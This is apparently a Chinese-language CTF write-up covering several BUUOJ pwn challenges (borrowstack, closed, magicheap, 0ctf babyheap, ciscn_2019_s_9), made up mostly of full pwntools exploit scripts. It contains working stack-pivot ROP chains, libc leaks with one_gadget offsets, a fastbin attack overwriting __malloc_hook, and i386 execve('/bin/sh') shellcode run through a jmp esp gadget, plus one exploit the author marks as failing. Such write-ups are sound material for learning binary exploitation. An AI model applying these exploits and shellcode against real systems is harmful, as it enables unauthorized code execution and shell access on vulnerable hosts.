gyctf_2020_borrowstack[栈迁移要小心覆盖掉got]

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. char buf[96]; // [rsp+0h] [rbp-60h] BYREF
  4. setbuf(stdin, 0LL);
  5. setbuf(stdout, 0LL);
  6. puts(&s);
  7. read(0, buf, 0x70uLL);
  8. puts("Done!You can check and use your borrow stack now!");
  9. read(0, &bank, 0x100uLL);
  10. return 0;
  11. }

由于bank所在的bss上面就是got,在进入kernel的时候会大量压栈破坏got,所以尽量抬高点栈
最后,由于只能溢出16个字节,所以用onegadget来getshell是最合理的

  1. def exp(i):
  2. leave=0x400699
  3. bk=0x601080+0xb0
  4. rdi=0x400703
  5. main=elf.sym['main']
  6. #dbg()
  7. pl=0x60*b'a'+p64(bk-8)+p64(leave)
  8. sa('Welcome to Stack bank,Tell me what you want\n',pl)
  9. pl =p64(0)*22+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
  10. pl+=p64(main)
  11. #dbg()
  12. sa("Done!You can check and use your borrow stack now!\n",pl)
  13. leak=_u64(ru('\x7f')[-6:])
  14. info("leak",leak)
  15. libc_base=leak-libc.sym['puts']
  16. info("libc_base",libc_base)
  17. ogg=[0x45216,0x4526a,0xf02a4,0xf1247]
  18. pl=0x68*b'b'+p64(libc_base+ogg[1])
  19. se(pl)
  20. sa("Done!You can check and use your borrow stack now!\n",'\n')
  21. if __name__=="__main__":
  22. exp(1)
  23. ir()

wustctf2020_closed[Linux文件描述符重定向命令]

  1. exec 1>&0

文件符重定向
因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了

hitcontraining_magicheap[\x7f劫持malloc_hook的解释]

\7f的chunk_size需要用0x60申请

  1. /* offset 2 to use otherwise unindexable first 2 bins */
  2. #define fastbin_index(sz) \
  3. ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

而申请的时候是看

  1. if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
  2. errstr = "malloc(): memory corruption (fast)";

补充

  1. /*
  2. Supported pointer representation: 4 or 8 bytes
  3. Supported size_t representation: 4 or 8 bytes
  4. Note that size_t is allowed to be 4 bytes even if pointers are 8.
  5. You can adjust this by defining INTERNAL_SIZE_T
  6. Changing default word sizes:
  7. INTERNAL_SIZE_T size_t
  8. */
  9. /* The corresponding word size */
  10. #define SIZE_SZ (sizeof(INTERNAL_SIZE_T))

理解为索引最高位相同就能通过检查,比如在64位系统上一个0x25的chunk是B00100101,然后取fastbin_index(sz)就右移四位得到2,再减去2就是idx0
这题还能用unsortedBin attack能对申请出当前连边的unsortedBin的bk的fd写上一个大数字,不赘述

0ctf_2017_babyheap[堆溢出,calloc]

  1. from pwn import*
  2. context(os='Linux',log_level = 'debug')#,arch='amd64')
  3. name="test"
  4. path="./"
  5. elf=ELF(path+name)
  6. local=0
  7. v64=1
  8. #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
  9. port=28682
  10. IP="node4.buuoj.cn"
  11. if local:
  12. p=process(path+name)
  13. if v64:
  14. libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  15. else:
  16. libc=ELF("/lib/i386-linux-gnu/libc.so.6")
  17. else:
  18. p=remote(IP,port)
  19. if v64:
  20. libc=ELF("/home/squirrel/Desktop/buulibc/16/64/libc-2.23.so")
  21. else:
  22. libc=ELF("/home/squ/Desktop/buulibc/18/32/libc-2.27.so")
  23. def dbg():
  24. gdb.attach(p)
  25. #gdb.attach(proc.pidof(p)[0])2
  26. raw_input()
  27. '''
  28. sed -i s/alarm/isnan/g ./test
  29. libcbase=printf-libc.sym['printf']
  30. system=libcbase+libc.sym['system']
  31. binsh=libcbase+next(libc.search(b'/bin/sh'))
  32. '''
  33. ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
  34. bogg64=[0x45216,0x4526a,0xf02a4,0xf1147]
  35. se = lambda data :p.send(data)
  36. sa = lambda delim,data :p.sendafter(delim, data)
  37. sl = lambda data :p.sendline(data)
  38. sla = lambda delim,data :p.sendlineafter(delim, data)
  39. sea = lambda delim,data :p.sendafter(delim, data)
  40. rc = lambda numb=4096 :p.recv(numb)
  41. rl = lambda :p.recvline()
  42. ru = lambda delims :p.recvuntil(delims)
  43. _u32 = lambda data :u32(data.ljust(4, b'\x00'))
  44. _u64 = lambda data :u64(data.ljust(8, b'\x00'))
  45. info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
  46. ir = lambda :p.interactive()
  47. pt = lambda x,y :print(x,hex(y))
  48. def ch(i):
  49. sla("Command: ",str(i))
  50. def add(sz):
  51. ch(1)
  52. sla("Size: ",str(sz))
  53. def edit(idx,dt):
  54. sz=len(dt)
  55. ch(2)
  56. sla("Index: ",str(idx))
  57. sla("Size: ",str(sz))# sz = len(dt)
  58. sa("Content: ",dt)
  59. def free(idx):
  60. ch(3)
  61. sla("Index: ",str(idx))
  62. def show(idx):
  63. ch(4)
  64. sla("Index: ",str(idx))
  65. def exp(i):
  66. add(0x10)# idx0
  67. add(0x10)# idx1
  68. add(0x80)# idx2
  69. add(0x60)# idx3 gap
  70. pl=p64(0)*3+p64(0x21+0x90)
  71. edit(0,pl)
  72. free(1)
  73. add(0x10)# idx1
  74. add(0x80)# idx4
  75. free(2)
  76. show(4)# idx 4 is in use
  77. leak=_u64(ru('\x7f')[-6:])
  78. info("leak",leak)
  79. mh=leak-(0x7ffff7dd1b78-0x7ffff7dd1b10)
  80. libc_base=mh-libc.sym['__malloc_hook']
  81. info("libc_base",libc_base)
  82. tar=mh-(0x7ffff7dd1b10-0x7ffff7dd1aed)
  83. info("target",tar)
  84. free(3)
  85. pl=b'\x00'*0x88+p64(0x71)+p64(tar)
  86. edit(4,pl)
  87. add(0x60)# idx2
  88. add(0x60)# idx3
  89. pl=0x13*b'a'+p64(bogg64[1]+libc_base)
  90. edit(3,pl)
  91. #dbg()
  92. ch("1")
  93. sl("16")
  94. if __name__=="__main__":
  95. exp(1)
  96. ir()

calloc会清空内容,所以先放入在放出的方式泄漏libc_base不好使,需要让两个指针指向同一个chunk,一个指针free,一个指针使用,用chunk向高地址extend就能做到

ciscn_2019_s_9[对shellcode深入理解和buffer区填充的另用]

  1. int pwn()
  2. {
  3. char s[24]; // [esp+8h] [ebp-20h] BYREF
  4. puts("\nHey! ^_^");
  5. puts("\nIt's nice to meet you");
  6. puts("\nDo you have anything to tell?");
  7. puts(">");
  8. fflush(stdout);
  9. fgets(s, 50, stdin);
  10. puts("OK bye~");
  11. fflush(stdout);
  12. return 1;
  13. }

其中hint包含了

  1. .text:08048551 ; __unwind {
  2. .text:08048551 push ebp
  3. .text:08048552 mov ebp, esp
  4. .text:08048554 jmp esp
  5. .text:08048554 hint endp

ret的质量pop一个地址给rip,rip是执行地址里的内容,如果给ret处填上jmp esp,那么ret下面的语句就都被当成shellcode执行了,此时就可以调用我们先前填充的shellcode了,利用esp来定位,不需要泄漏栈地址

  1. def exp(i):
  2. #ret=0x08048342
  3. #r4=0x080485d8 #: pop ebx ; pop esi ; pop edi ; pop ebp ; ret
  4. #ebp=0x08048557
  5. #ebx=0x08048359 #: pop ebx ; ret
  6. #r3=0x080485d9 #: pop esi ; pop edi ; pop ebp ; ret
  7. jmp_esp=0x08048554
  8. # 32 +4 +14
  9. #dbg()
  10. sh=asm('''
  11. mov edx,0x68732f
  12. push edx
  13. mov edx,0x6e69622f
  14. push edx
  15. mov ebx,esp
  16. xor ecx,ecx
  17. xor edx,edx
  18. mov al,0xB
  19. int 0x80
  20. ''',arch='i386')# len22
  21. sh=sh.ljust(0x24,b'a')+p32(jmp_esp)
  22. pl=asm("sub esp,40;call esp",arch="i386")
  23. sla(">\n",sh+pl)
  24. #dbg()
  25. if __name__=="__main__":
  26. exp(1)
  27. ir()

这里有个失败的案例,想利用read二次读写但不知道为什么会SIGSEGV,

  1. def exp(i):
  2. #ret=0x08048342
  3. #r4=0x080485d8 #: pop ebx ; pop esi ; pop edi ; pop ebp ; ret
  4. #ebp=0x08048557
  5. #ebx=0x08048359 #: pop ebx ; ret
  6. #r3=0x080485d9 #: pop esi ; pop edi ; pop ebp ; ret
  7. jmp_esp=0x08048554
  8. sh2=asm('''
  9. mov edx,0x68732f
  10. push edx
  11. mov edx,0x6e69622f
  12. push edx
  13. mov ebx,esp
  14. xor ecx,ecx
  15. xor edx,edx
  16. mov al,0xB
  17. int 0x80
  18. ''',arch='i386')
  19. pl=b'a'*0x24+p32(jmp_esp)
  20. sh=asm("""
  21. mov al,3
  22. xor ebx,ebx
  23. mov ecx,esp
  24. mov dl,0x30
  25. int 0x80
  26. """,arch="i386")
  27. dbg()
  28. sla(">\n",pl+sh)
  29. sh3=b'a'*len(sh)+sh2
  30. raw()
  31. se(sh3)
  32. if __name__=="__main__":
  33. exp(1)
  34. ir()